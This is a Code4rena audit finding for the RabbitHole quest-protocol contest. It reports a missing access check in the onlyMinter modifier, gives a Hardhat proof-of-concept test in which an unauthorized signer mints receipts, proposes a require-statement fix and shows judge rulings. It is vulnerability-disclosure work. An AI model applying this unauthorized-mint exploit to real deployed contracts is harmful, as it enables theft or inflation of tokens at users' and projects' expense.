Platform: Code4rena
Start Date: 25/01/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 173
Period: 5 days
Judge: kirk-baird
Total Solo HM: 1
Id: 208
League: ETH
Rank: 155/173
Findings: 1
Award: $2.59
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0xMAKEOUTHILL, 0xMirce, 7siech, AkshaySrivastav, AlexCzm, Awesome, Aymen0909, Cryptor, Deivitto, DimitarDimitrov, ElKu, Garrett, Jayus, Josiah, Kenshin, KrisApostolov, RaymondFam, SovaSlava, Timenov, UdarTeam, amaechieth, btk, c3phas, codeislight, fellows, frankudoags, gzeon, hansfriese, luxartvinsec, millersplanet, mookimgo, navinavu, oberon, paspe, pavankv, petersspetrov, pfapostol, prestoncodes, rbserver, sakshamguruji, shark, thekmj, trustindistrust, tsvetanovv, usmannk, vagrant, vanko1, xAriextz, yosuke
2.5852 USDC - $2.59
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L83-L99 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104
RabbitHole receipts and tickets can be minted by anyone due to a missing require check.
import { expect } from 'chai' import { Contract } from 'ethers' import { ethers, upgrades } from 'hardhat' describe('Audit PoC', async () => { let RHReceipt: Contract, deployedFactoryContract: Contract, deployedReceiptRenderer: Contract, contractOwner: { address: String }, royaltyRecipient: { address: String }, minterAddress: { address: String }, fakeMinter: { address: string } beforeEach(async () => { ;[contractOwner, royaltyRecipient, minterAddress, fakeMinter] = await ethers.getSigners() const questFactory = await ethers.getContractFactory('QuestFactory') const RabbitHoleReceipt = await ethers.getContractFactory('RabbitHoleReceipt') const ReceiptRenderer = await ethers.getContractFactory('ReceiptRenderer') deployedReceiptRenderer = await ReceiptRenderer.deploy() await deployedReceiptRenderer.deployed() RHReceipt = await upgrades.deployProxy(RabbitHoleReceipt, [ deployedReceiptRenderer.address, royaltyRecipient.address, minterAddress.address, 10, ]) deployedFactoryContract = await upgrades.deployProxy(questFactory, [ royaltyRecipient.address, RHReceipt.address, royaltyRecipient.address ]) await RHReceipt.setQuestFactory(deployedFactoryContract.address) }) describe.only('mint receipt from any address', () => { it('fakeMinter mints as many receipts as wanted', async () => { await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def456') await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def556') await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def656') ///fakeMinter can mint as much as they like. expect(await RHReceipt.balanceOf(fakeMinter.address)).to.eq(3) expect(await RHReceipt.questIdForTokenId(1)).to.eq('def456') expect(await RHReceipt.questIdForTokenId(2)).to.eq('def556') expect(await RHReceipt.questIdForTokenId(3)).to.eq('def656') }) }) })
Copy the code above to a file in quest-protocol/test
and run yarn test
Hardhat
Add a require statement in the onlyMinter
modifier for both RabbitHoleReceipt.sol
and RabbitHoleTicket.sol
modifier onlyMinter() { require(msg.sender == minterAddress, "!minter"); _; }
#0 - c4-judge
2023-02-05T05:29:53Z
kirk-baird marked the issue as duplicate of #9
#1 - c4-judge
2023-02-05T05:29:57Z
kirk-baird marked the issue as partial-50
#2 - c4-judge
2023-02-14T08:38:06Z
kirk-baird marked the issue as satisfactory
#3 - c4-judge
2023-02-14T08:38:13Z
kirk-baird marked the issue as full credit